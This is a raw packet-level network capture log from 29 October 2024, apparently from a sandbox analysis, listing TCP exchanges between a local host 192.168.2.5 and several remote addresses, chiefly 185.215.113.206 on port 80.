Oct 29, 2024 02:46:39.844540119 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844578981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844825983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844875097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844878912 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844921112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844923973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844957113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844969988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844993114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.845000029 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.845038891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.845506907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.845540047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.845560074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.845573902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.845582962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.845613003 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.847465992 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.847625017 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.847675085 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.848073959 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.848088026 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.848099947 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.848108053 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.852461100 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.852514029 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.852574110 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.857038975 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.857070923 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.861494064 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.861543894 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.861732960 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.861928940 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.861958027 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.879363060 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.879410028 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.879483938 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.879506111 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.879529953 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.880187988 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.890239954 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.890304089 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.890351057 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.890376091 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.890403032 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.890422106 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.896591902 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.896612883 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.902376890 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.902390003 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.902458906 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.905868053 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.905880928 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.917716980 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.917772055 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.917860985 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.917892933 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.917948961 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.917954922 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.918020010 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.920279980 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.920279980 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.920309067 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.920331001 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.920738935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.920777082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.920809984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.920838118 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.920880079 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.920895100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.920928001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.920943022 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.920960903 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.920977116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.921200037 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.921260118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.921293974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.921328068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.921329021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.921343088 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.921375036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.921423912 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.921760082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.921792984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.921821117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.921829939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.921842098 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.921879053 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.927606106 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.927637100 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.927767992 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.927994967 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.928010941 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.937175035 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.937311888 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.937385082 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.937407970 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.937407970 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.937417984 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.937424898 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.939841032 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.939855099 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.939928055 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.940131903 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.940141916 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.960876942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.960932016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.960947990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.960963011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.960978985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.961003065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.961015940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.961050034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.961060047 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.961085081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.961100101 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.961126089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.961450100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.961510897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.961515903 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.961545944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.961580038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.961595058 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.961622953 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.962009907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962061882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962076902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.962095976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962112904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.962129116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962136030 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.962162971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962176085 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.962198019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962245941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.962898970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962933064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962965965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.962985992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.963016033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.007361889 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:40.007425070 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:40.007460117 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:40.007477045 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:40.007507086 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:40.007522106 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:40.007612944 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:40.007690907 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:40.007708073 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:40.016639948 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.016890049 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:40.016901016 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.017184973 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.017623901 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:40.017687082 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.017832041 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:40.037863970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.037899971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.037930012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.037951946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.037965059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.037986040 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038018942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038032055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.038062096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.038110018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038142920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038182974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038189888 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.038216114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038242102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.038253069 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.038608074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038640022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038666964 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.038672924 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.038685083 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.038717031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.059370995 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.078228951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078263998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078283072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078298092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078325987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.078356028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.078375101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078411102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078444004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078460932 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.078480005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.078524113 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.079271078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.079304934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.079332113 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.079354048 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.079355955 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.079389095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.079400063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.079423904 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.079456091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.079478979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.079492092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.079504013 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.080171108 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.080204964 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.080235004 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.080240965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.080279112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.080282927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.080301046 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.080317020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.080322027 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.080360889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.103585005 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:40.103605986 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:40.104259014 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:40.104615927 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:40.104625940 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:40.148921967 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.148966074 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.149066925 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:40.149080038 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.149122953 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.149174929 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:40.149857044 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:40.149872065 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:40.155174017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155209064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155247927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155268908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155297041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155334949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155345917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155347109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155383110 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155396938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155416965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155427933 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155462027 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155486107 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155530930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155843973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.155891895 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.155994892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.156039953 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195276022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195341110 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195352077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195389986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195394993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195425987 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195462942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195477009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195543051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195600986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195647001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195775986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195805073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195822001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195842981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.195951939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.195985079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196011066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196019888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196033955 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196062088 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196471930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196505070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196540117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196547985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196568966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196589947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196852922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196886063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196911097 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196918964 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196921110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.196954012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.196959972 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.197014093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.197309971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.197360039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.197376966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.197393894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.197405100 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.197433949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.197443962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.197469950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.197477102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.197508097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.197509050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.197561979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272044897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272078037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272113085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272115946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272138119 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272171021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272200108 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272216082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272216082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272247076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272349119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272382975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272403002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272447109 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272445917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272463083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.272500992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.272515059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312328100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312361956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312402964 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312410116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312443018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312447071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312489033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312489986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312526941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312542915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312583923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312625885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312659025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312693119 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312693119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.312705040 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.312743902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313025951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313059092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313075066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313103914 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313107014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313123941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313138008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313174009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313219070 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313543081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313575983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313610077 CET	80	49838	185.215.113.206	192.168.2.5
